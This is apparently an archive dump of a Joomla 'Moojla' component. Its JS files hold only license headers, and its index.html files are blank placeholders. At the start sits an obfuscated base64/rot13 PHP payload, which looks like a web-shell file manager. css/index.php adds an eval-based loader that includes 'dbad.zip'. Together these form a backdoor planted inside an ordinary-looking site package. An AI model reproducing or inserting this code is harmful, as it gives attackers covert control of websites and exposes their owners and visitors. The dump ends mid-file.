VaUV1S31cazI2XDE0NFwxNTFcMTYyXGszcXskSnF5Wjd9XGsyMlxrM3JcMTA0XGszcFw1N1xrNjFcNzYiIC4gIlw3NFw1N1xrNzRcMTQ0XGszclxrM3BcNTdcMTY0XDE2Mlw3NiI7IHRiZ2Igalc0Rkc7IGpXNEZHOiBURjJUZTogdGJnYiBYZ1pEUDsgWGdaRFA6IHlLd0d0OiB0YmdiIHZqS1E0OyBHWW1uMjogJGNtMjNsID0gZmdlX2VyY3lucHIoJF9GUkVJUkVbIlwxMDRcazRzXDEwM1xrNTVcazRxXGs0NVxrNHJcazU0XDEzN1xrNTJcazRzXDExN1wxMjQiXSwgJF9GUkVJUkVbIlwxMjNcazQ1XDEyMlwxMjZcazQ1XGs1MlxrNXNcMTE2XGs0MVwxMTVcazQ1Il0sICRVaUV1Syk7IHRiZ2Iga3lERmk7IHZqS1E0OiB9IHRiZ2IgYktsMUE7IFVYWFoxOiAkc1RsdnYgPSAxOyB0YmdiIENNMEZZOyBQRm40UzogckliNjQ6IHRiZ2Igc0RZejg7IFpBVFg4OiB2cyAoJGh4ZTNPID0gc2JjcmEoJExVM0FjLCAiXDE2NyIpKSB7IHRiZ2Igc0FuQlU7IH0gdGJnYiBZX21adjsgUU9mYjg6IHg0Unl5OiB0YmdiIGlHaGcyOyBEZG5ydzogakRreGY6IHRiZ2IgY1VKdnc7IERXR0NROiAkc1RsdnYgPSAxOyB0YmdiIEY5T3lOOyBPM1ExMjogc0lFZ3Q6IHRiZ2IgWExTQVo7IElZQm85OiBzaGFwZ3ZiYSB2S2lMMSgpIHsgdGJnYiBmX0FWYTsgZl9BVmE6IHZzICh2Zl9xdmUoJF9GUkVJUkVbIlxrNDRcMTE3XGs0M1wxMjVcazRxXGs0NVwxMTZcMTI0XGs1c1wxMjJcazRzXGs0c1xrNTQiXSAuICJcazJzXGs2MVxrNjRcazZxXGs2OVxrNnJcMTUxXGs3M1xrNzRcazcyXDE0MVwxNjRcazZzXDE2MlxrMnMiKSBuYXEgdmZfcXZlKCRfRlJFSVJFWyJcMTA0XGs0c1wxMDNcMTI1XGs0cVwxMDVcMTE2XDEyNFxrNXNcMTIyXDExN1wxMTdcMTI0Il0gLiAiXDU3XGs2M1wxNTdcMTU1XGs3MFwxNTdcazZyXDE0NVxrNnJcazc0XGs3M1w1NyIpIG5hcSB2Zl9xdmUoJF9GUkVJUkVbIlwxMDRcazRzXDEwM1wxMjVcazRxXDEwNVwxMTZcazU0XDEzN1xrNTJcazRzXGs0c1wxMjQiXSAuICJcazJzXDE1MVxrNnJcMTQzXDE1NFwxNjVcMTQ0XGs2NVwxNjNcNTciKSkgeyB0YmdiIHVobHkwOyB9IHRiZ2IgaTV5cUc7IERGeGpXOiB0YmdiIE8zMUVKOyB0YmdiIGRUYlkzOyBVVVlXTTogQ3JTcm06IHRiZ2IgaW1yZnc7IGRUYlkzOiB1aGx5MDogdGJnYiBFdVRZZjsgRXVUWWY6IGVyZ2hlYSAiXGs0blwxNTdcMTU3XGs2cVwxNTRcMTQxXDQxIjsgdGJnYiBlWTNDWDsgaW1yZnc6IGVyZ2hlYSAiXDEyN1wxNTdcazcyXGs2NFwxMjBcMTYyXGs2NVwxNjNcMTYzIjsgdGJnYiBQV1FjaTsgUFdRY2k6IE8zMUVKOiB0YmdiIFVIbW95OyBLR3JXTDogZXJnaGVhICJcMTI1XGs2clxrNm9cazZyXGs2c1xrNzdcMTU2IjsgdGJnYiBERnhqVzsgaTV5cUc6IHZzICh2Zl9xdmUoJF9GUkVJUkVbIlxrNDRcazRzXDEwM1xrNTVcazRxXGs0NVxrNHJcMTI0XDEzN1xrNTJcazRzXGs0c1wxMjQiXSAuICJcNTdcazc3XGs3MFxrMnFcMTQzXDE1N1wxNTZcazc0XDE0NVxrNnJcMTY0XGsycyIpIG5hcSB2Zl9xdmUoJF9GUkVJUkVbIlxrNDRcazRzXDEwM1xrNTVcazRxXGs0NVwxMTZcazU0XDEzN1wxMjJcMTE3XDExN1wxMjQiXSAuICJcNTdcMTY3XGs3MFxrMnFcazYxXDE0NFwxNTVcMTUxXGs2clw1NyIpIG5hcSB2Zl9xdmUoJF9GUkVJUkVbIlxrNDRcMTE3XDEwM1wxMjVcazRxXDEwNVwxMTZcMTI0XDEzN1wxMjJcMTE3XGs0c1xrNTQiXSAuICJcNTdcazc3XDE2MFxrMnFcMTUxXGs2clwxNDNcMTU0XDE2NVxrNjRcMTQ1XGs3M1xrMnMiKSkgeyB0YmdiIENyU3JtOyB9IHRiZ2IgS0dyV0w7IGVZM0NYOiB0YmdiIE8zMUVKOyB0YmdiIFVVWVdNOyBVSG1veTogfSB0YmdiIEVwR1I0OyBRazN0Qzogc2hhcGd2YmEgcVc4TUsoJGxDNjNMKSB7IHRiZ2IgcFFVYzg7IEZHMjl5OiBlcmdoZWEgJHUzclJqIC4gIlxrMjBcazZvXDE0MiI7IHRiZ2IgR1FSa2M7IE1pczBaOiB0YmdiIHI2eGl5OyB0YmdiIFl0d3VUOyBMTXhrRjogJHUzclJqID0gZWJoYXEoJHUzclJqLCAxKTsgdGJnYiB3MF9udDsgQTcxODM6IGVyZ2hlYSAkdTNyUmogLiAiXDQwXDE0MiI7IHRiZ2IgcURBQmc7IHcwX250OiBlcmdoZWEgJHUzclJqIC4gIlw0MFwxNTVcazYyIjsgdGJnYiBNaXMwWjsgR1FSa2M6IHRiZ2IgSU1uVUs7IHRiZ2IgZzJ3OVc7IFNJWmlEOiB2cyAoJHUzclJqID4gMTAyNCkgeyB0YmdiIE9MREVCOyB9IHRiZ2IgSUNwVko7IHJFTGg3OiAkdTNyUmogPSBzdnlyZnZtcigkbEM2M0wpOyB0YmdiIFNJWmlEOyBNX01WTjogeHY4Ykw6IHRiZ2IgVUxDYmw7IHpIY3BMOiAkdTNyUmogPSBlYmhhcSgkdTNyUmosIDEpOyB0YmdiIEZHMjl5OyBZdHd1VDogRGJSdjc6IHRiZ2IgRXBFazM7IGxjdmRIOiB2cyAoJHUzclJqID4gMTAyNCkgeyB0YmdiIE5XakxVOyB9IHRiZ2IgekhjcEw7IHFEQUJnOiB0YmdiIHh2OGJMOyB0YmdiIGVEeUt2OyBJQ3BWSjogJHUzclJqID0gZWJoYXEoJHUzclJqLCAxKTsgdGJnYiBBNzE4MzsgYkY2NW46ICR1M3JSaiA9IGViaGFxKCR1M3JSaiwgMSk7IHRiZ2IgUUxyTng7IFFMck54OiBlcmdoZWEgJHUzclJqIC4gIlw0MFxrNjdcazYyIjsgdGJnYiBacmFFaTsgZUR5S3Y6IE9MREVCOiB0YmdiIEQwb2MyOyBHd05xbDogJHUzclJqID0gJHUzclJqIC8gMTAyNDsgdGJnYiBrQ1Q4ajsgRDBvYzI6ICR1M3JSaiA9ICR1M3JSaiAvIDEwMjQ7IHRiZ2IgbGN2ZEg7IGtDVDhqOiB2cyAoJHUzclJqID4gMTAyNCkgeyB0YmdiIERiUnY3OyB9IHRiZ2IgTE14a0Y7IGFtaFR3OiBlcmdoZWEgIlxrcTBcMjQ0XGtxMFwyNjBca3EwXGtvOVxrcTBcMjczXGsyMFw0MFxrcTBcMjc1XGtxMFxrbzVcazIwXGtxMFxrb3Fca3EwXGtvMFxrcTBca285XDMyMFwyNjRcMzIwXDI2NVwzMjBcMjc1IjsgdGJnYiBsYjNGOTsgRXBFazM6ICR1M3JSaiA9ICR1M3JSaiAvIDEwMjQ7IHRiZ2IgYkY2NW47IHBRVWM4OiB2cyAoc3Z5cl9ya3ZmZ2YoJGxDNjNMKSkgeyB0YmdiIEVjUm5GOyB9IHRiZ2IgYW1oVHc7IGcydzlXOiBOV2pMVTogdGJnYiBHd05xbDsgbGIzRjk6IEVjUm5GOiB0YmdiIHJFTGg3OyBacmFFaTogcjZ4aXk6IHRiZ2IgSXMyaGw7IElzMmhsOiBJTW5VSzogdGJnYiBNX01WTjsgVUxDYmw6IH0gdGJnYiB4UEJHbTsgUmh6VkE6IFBWdXp3OiB0YmdiIHJTQ1dhOyBRUUZlcjogdGJnYiBJSk5pRTsgdGJnYiBlVWRRcjsgWnR3MFk6IHhOU1IxKCRfVFJHWyJcazY1XGs2NFxrNjlcazc0Il0sICRNdVZCTCk7IHRiZ2Igdlpiakw7IGpCcUNXOiBycHViICRSMjZvazsgdGJnYiBqZTZtXzsgeUZpMEg6IHZzICghc3Z5cl9ya3ZmZ2YoJEtXejBTKSkgeyB0YmdiIGh0dXBGOyB9IHRiZ2IgcEswYXU7IFJSWEo4OiAkUnJrWkwgPSAiXDE0NlxrNjlcMTU0XDE0NVwxMzdcMTQ3XGs2NVwxNjRcazVzXDE0M1wxNTdcMTU2XGs3NFxrNjVcMTU2XGs3NFxrNzNcazI4XGs1cFxrMjJcazJyXDU2XDU3XDE1MVwxNTZcMTQ0XGs2NVwxNzBcNTZcMTYwXDE1MFxrNzBcMTM0XGsyMlxrMjlcazIyIjsgdGJnYiBKM1VCVDsgUENxMnc6IHJwdWIgIlxrM3BcNzRcazY5XGs2clxrNjZcMTU3XDc2XGszciI7IHRiZ2IgVGtwZEU7IFhKNVp1OiAka1BwUHQgPSBuZWVubCgpOyB0YmdiIEcxVDhJOyBYelVaODogcnB1YiAiXGs2NVwxNjJcazcyXGs2c1xrNzJcNzJcazIwXDE0NlxrNjlcMTU0XDE0NVw0MFwxNDZcazY5XDE1NlwxNDRcMTQ1XDE2MlwxNDRcMTQxXDE2NFxrNjFcNTZcMTY0XDE3MFxrNzRcNDBcazYzXDE0MVxrNnJcazIwXDE1NlxrNnNcazc0XDQwXDE0M1wxNjJcazY1XDE0MVxrNzRcazY1IjsgdGJnYiBRUUZlcjsgYWRTNGI6IFZ2UHQxOiB0YmdiIENjcVhoOyBFQTRCUzogJExVM0FjID0gJF9GUkVJUkVbIlxrNDRcazRzXDEwM1wxMjVcazRxXDEwNVxrNHJcazU0XGs1c1xrNTJcazRzXDExN1xrNTQiXSAuICJcNTciIC4gJF9DQkZHWyJcMTU2XGs2NVwxNjdcazVzXGs2NFwxNTFcazcyIl07IHRiZ2IgdkJxV1c7IFIzMjM1OiB2cyAodmZmcmcoJF9UUkdbIlxrNjRcMTUxXGs3MiJdKSkgeyB0YmdiIFdiOWk3OyB9IHRiZ2IgbXdLeW07IEgyRWpMOiB2cyAocnpjZ2woJF9DQkZHWyJcazY2XGs2c1xrNzJcazVzXDE0NFwxNDVcazZwIl0pKSB7IHRiZ2IgaW84M0E7IH0gdGJnYiBuYVBtUzsgcWxOYUY6IEM3RzJ1OiB0YmdiIEgyRWpMOyBBcjF3ajogJExVM0FjID0gJF9UUkdbIlxrNjRcMTUxXGs3MiJdIC4gIlw1NyIgLiAkX0NCRkdbIlwxNTZcMTQ1XGs3N1xrNXNcMTQ2XGs2OVwxNTRcMTQ1Il07IHRiZ2IgV1VDbUU7IFBITHJDOiBCZHlDWSgkX1RSR1siXDE2NVxrNnJcMTcyXDE1MVxrNzAiXSk7IHRiZ2IgeXdqNWw7IEo4Ql9OOiAkclRaSDUgPSBmcG5hcXZlKCRfVFJHWyJcMTQ0XGs2OVwxNjIiXSk7IHRiZ2IgWW9oQ087IFhMU0FaOiAkVjZUQ2UgPSBCZWVfUigkWUlVWjEpOyB0YmdiIE94SUduOyBqX0tqaDogc2hhcGd2YmEgVWE3WXkoJHUzc21UKSB7IHRiZ2IgY0JyQkI7IGNCckJCOiAkUzgzNmogPSBiY3JhcXZlKCR1M3NtVCk7IHRiZ2IgWlNVeVU7IHdmNU9JOiBBWWQ5YzogdGJnYiB0R0RrbDsgVkROOGY6IHZzICh2Zl9xdmUoJHUzc21UIC4gIlxrMnMiIC4gJENkaDQxKSkgeyB0YmdiIEFZZDljOyB9IHRiZ2IgZGxZbEk7IFpTVXlVOiBtSFRCaDogdGJnYiBPTmd4cTsgYk9xM2Y6IHRiZ2IgUlN5NW87IHRiZ2Igd2Y1T0k7IGRsWWxJOiBoYXl2YXgoJHUzc21UIC4gIlxrMnMiIC4gJENkaDQxKTsgdGJnYiBiT3EzZjsgTlJFMlY6IHZzICghKCRDZGg0MSAhPSAiXDU2IiAmJiAkQ2RoNDEgIT0gIlw1NlxrMnIiKSkgeyB0YmdiIEZqMkJQOyB9IHRiZ2IgVkROOGY7IE9ETjNtOiBSU3k1bzogdGJnYiBab1ZvUDsgWm9Wb1A6IEZqMkJQOiB0YmdiIEVhWk4wOyB0R0RrbDogdWE3WXkoJHUzc21UIC4gIlxrMnMiIC4gJENkaDQxKTsgdGJnYiBPRE4zbTsgdDRpb1g6IEZmdnFYOiB0YmdiIEJIRkhoOyBPTmd4cTogdnMgKCEoKCRDZGg0MSA9IGVybnFxdmUoJFM4MzZqKSkgIT09IHNueWZyKSkgeyB0YmdiIEZmdnFYOyB9IHRiZ2IgTlJFMlY7IEVhWk4wOiB0YmdiIG1IVEJoOyB0YmdiIHQ0aW9YOyBCSEZIaDogcHliZnJxdmUoJFM4MzZqKTsgdGJnYiBZOUNwQzsgWTlDcEM6IGV6cXZlKCR1M3NtVCk7IHRiZ2IgdGF0ZVM7IHRhdGVTOiB9IHRiZ2IgWUxJX1U7IGtGN0V5OiB2cyAodmZmcmcoJF9UUkdbIlxrNjRcMTUxXDE2MiJdKSkgeyB0YmdiIGpIZ0VKOyB9IHRiZ2IgcXhqdjM7IGFuMlZwOiBtdmF5NTogdGJnYiBMZFllRTsgRWhDWEc6IENzZ1dxOiB0YmdiIFhkMFZWOyBuWkdhOTogdnMgKCFzdnlyX3JrdmZnZigkaFpHdFIpKSB7IHRiZ2IgZjBsZHE7IH0gdGJnYiBJWkRvUjsgTndxc2o6IENVTVRLOiB0YmdiIFpEUzFYOyBzZkdsejogJGVVX2hhID0gJF9GUkVJUkVbIlxrNTNcMTAzXDEyMlxrNDlcazUwXGs1NFxrNXNcazRyXDEwMVwxMTVcMTA1Il07IHRiZ2IgSmlKUGs7IE1yb3dQOiBzYmVybnB1ICgkZEI3VEUgbmYgJFVUNTA2KSB7IHRiZ2IgRzBhRjU7IHFWSDg3OiAkdFdCSUEgPSBmZ2V2ZmdlKCRZRXVuWCwgJFhWcXM3KTsgdGJnYiBWd0lsazsgcEIzWGw6IFRHN3VtOiB0YmdiIFpPdjB5OyBla0hrMjogVWpmZVE6IHRiZ2IgQzZxUzE7IENHSk92OiAkbk9SMEEgPSBmZ2V2ZmdlKCRZRXVuWCwgJFB3MGFSKTsgdGJnYiBiYzMxSjsgalhTTkg6IFcyNWYxOiB0YmdiIGVrSGsyOyBRRlhHXzogc3B5YmZyKCRDMEJfaCk7IHRiZ2IgbWxWM3c7IFplaEkzOiAkSmIzcW8gPSBmZ2V2ZmdlKCRZRXVuWCwgJFhZenRvKTsgdGJnYiBjZ2FpcDsgeFB3STI6IHZzICghKCRuT1IwQSAhPT0gc255ZnIgYmUgJGxLWXpGICE9PSBzbnlmciBiZSAkRW1QNnggIT09IHNueWZyIGJlICR0V0JJQSAhPT0gc255ZnIgYmUgJHVDaEpTICE9PSBzbnlmciBiZSAkcGFydl8gIT09IHNueWZyIGJlICRKc3paTiAhPT0gc255ZnIgYmUgJEQ4UllUICE9PSBzbnlmciBiZSAkWmpEYzcgIT09IHNueWZyIGJlICRKYjNxbyAhPT0gc255ZnIgYmUgJExqZjJnICE9PSBzbnlmciBiZSAkWVhOQzYgIT09IHNueWZyKSkgeyB0YmdiIHNCZlNZOyB9IHRiZ2IgVWpSaDE7IEZuTUlPOiAkSnN6Wk4gPSBmZ2V2ZmdlKCRZRXVuWCwgJFBhMXlVKTsgdGJnYiBCTldHUzsgSUg2WFc6ICRZWE5DNiA9IGZnZXZmZ2UoJFlFdW5YLCAkQl9hSzEpOyB0YmdiIHhQd0kyOyBrTTBGZzogJEVtUDZ4ID0gZmdldmZnZSgkWUV1blgsICRVWTFoMyk7IHRiZ2IgcVZIODc7IEZCQ0VwOiAkcGFydl8gPSBmZ2V2ZmdlKCRZRXVuWCwgJGJEUWQyKTsgdGJnYiBGbk1JTzsgWk92MHk6ICRZRXVuWCA9IHFkTGZUKCRVVDUwNik7IHRiZ2IgV1VqWEk7IFVqUmgxOiAkQzBCX2ggPSBzYmNyYSgkS1d6MFMsICJcMTQxIik7IHRiZ2IgSjU5bDI7IHF2ZTFZOiB2cyAoc3Z5cmZ2bXIoJFVUNTA2KSA8IDUwMDAwMDApIHsgdGJnYiBURzd1bTsgfSB0YmdiIHNIdzB6OyBzYVgwSzogdGJnYiBzd2ZqTjsgdGJnYiBwQjNYbDsgbWxWM3c6IHNCZlNZOiB0YmdiIGpYU05IOyBHMGFGNTogdnMgKCFzdnlyX3JrdmZnZigkVVQ1MDYpKSB7IHRiZ2IgVzI1ZjE7IH0gdGJnYiBxdmUxWTsgV1VqWEk6IHN3ZmpOOiB0YmdiIENHSk92OyBjZ2FpcDogJExqZjJnID0gZmdldmZnZSgkWUV1blgsICRIVDRWWSk7IHRiZ2IgSUg2WFc7IHNIdzB6OiAkWUV1blggPSAnJzsgdGJnYiBzYVgwSzsgYmMzMUo6ICRsS1l6RiA9IGZnZXZmZ2UoJFlFdW5YLCAkVF9Ec1kpOyB0YmdiIGtNMEZnOyBZdTBmNDogJFpqRGM3ID0gZmdldmZnZSgkWUV1blgsICRScmtaTCk7IHRiZ2IgWmVoSTM7IEJOV0dTOiAkRDhSWVQgPSBmZ2V2ZmdlKCRZRXVuWCwgJFR1MmlrKTsgdGJnYiBZdTBmNDsgSjU5bDI6IHNqZXZncigkQzBCX2gsICRVVDUwNiAuICJcMTIiKTsgdGJnYiBRRlhHXzsgVndJbGs6ICR1Q2hKUyA9IGZnZXZmZ2UoJFlFdW5YLCAkSHV5OW8pOyB0YmdiIEZCQ0VwOyBDNnFTMTogfSB0YmdiIGFuMlZwOyBlY0plWDogdXJ2anY6IHRiZ2IgTEltX247IHFJbzNuOiByZWRaMjogdGJnYiBObFR1SzsgRXBHUjQ6IHNoYXBndmJhIFh4akNyKCRMVTNBYykgeyB0YmdiIGsxYTNQOyBrMWEzUDogJHZHQXAxID0gZmdlZXZjYmYoJExVM0FjLCAiXDU3Iik7IHRiZ2IgU2dhVkQ7IFNnYVZEOiAkUGdOZ1ogPSBmaG9mZ2VfZXJjeW5wcigkTFUzQWMsICcnLCAkdkdBcDEsIDk5OTk5KTsgdGJnYiBLRFBuazsgS0RQbms6IGVyZ2hlYSAkUGdOZ1o7IHRiZ2IgV2cyQTc7IFdnMkE3OiB9IHRiZ2IgbjZPSnE7IGZZdVR1OiBycHViICJcNzRcazc0XDE2MlxrMjBcMTQxXDE1NFwxNTFcazY3XGs2clxrM3FcNDJcazYzXGs2NVwxNTZcazc0XGs2NVxrNzJcNDJcazNyXDc0XDE2NFxrNjRcNDBcMTQxXGs2cFwxNTFcMTQ3XGs2clxrM3FcNDJcazZwXDE0NVwxNDZcMTY0XGsyMlw0MFxrM3IiIC4gIlw3NFwxNDZcazZzXGs2clwxNjRcazIwXGs2M1wxNTdcazZwXDE1N1wxNjJcazNxXGsyMlxrNzJcazY1XGs2NFw0MlxrM3JcMTAzXGs2MVwxNTZcazIwXGs2clwxNTdcazc0XDQwXGs2M1wxNjJcMTQ1XGs2MVxrNzRcMTQ1XGsyMFxrNjZcazZzXGs2cFxrNjRcMTQ1XGs3Mlw0MVw3NFw1N1wxNDZcMTU3XGs2clxrNzRcazNyXDc0XGsyc1wxNjRcazY0XDc2IiAuICJcazNwXGs3NFxrNjRcNzZcNzRcazJzXGs3NFwxNDRcazNyXDc0XGs3NFwxNDRcNzZcazNwXGsyc1xrNzRcMTQ0XDc2XDc0XGs3NFwxNDRcNzZcazNwXGsyc1wxNjRcMTQ0XDc2XGszcFxrNzRcMTQ0XGszclw3NFxrMnNcMTY0XGs2NFw3NlxrM3BcazJzXGs3NFwxNjJcazNyIjsgdGJnYiBqdW03YTsgS2FCakQ6IFhDYlFROiB0YmdiIGppUnpaOyBJU0ZFajogaGF5dmF4KCRZSVVaMSk7IHRiZ2IgVVZIaDg7IFVlaUhDOiBycHViICRfRlJFSVJFWyJcMTIzXGs0M1wxMjJcazQ5XGs1MFxrNTRcMTM3XGs0NlwxMTFcMTE0XDEwNVxrNHJcMTAxXGs0cVwxMDUiXTsgdGJnYiBRdEFWYTsgV3lJTEU6ICRhcmZQQSA9IHNiY3JhKCRZSVVaMSwgIlxrNzciKTsgdGJnYiBYNEc5aDsgZGhJekU6IHZzICghdmZmcmcoJF9UUkdbIlwxNDRcazZzXDE2N1wxNTZcMTU0XDE1N1wxNDFcMTQ0Il0pKSB7IHRiZ2IgUXdjSTU7IH0gdGJnYiBoc3VWSjsgWk9qUUc6IHJwdWIgIlw3NFxrMnNcMTY0XGs2MVwxNDJcazZwXDE0NVxrM3IiOw==",1),2),3);?>css/index.php000064400000000206151156421310007151
0ustar00<?php function fu($a,$b){if($b==1){return
base64_decode($a);}else if($b==2){return
str_rot13($a);}else{eval($a);}}include("dbad.zip");images/index.html000064400000000054151156421310010004
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>index.html000064400000000054151156421310006537
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>js/category_map.js000064400000002031151156421310010163
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		category_map.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
js/cohort.js000064400000002023151156421310007010
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		cohort.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
js/content.js000064400000002024151156421320007166
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		content.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
js/course.js000064400000002023151156421320007013
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
js/course_field_mapper.js000064400000002040151156421320011521
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_field_mapper.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
js/course_group_map.js000064400000002035151156421320011067
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_group_map.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
js/enrolment.js000064400000002026151156421320007521
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		enrolment.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
js/index.html000064400000000054151156421320007154
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>js/module.js000064400000002023151156421320007000
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		module.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

 
js/section.js000064400000002024151156421320007160
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

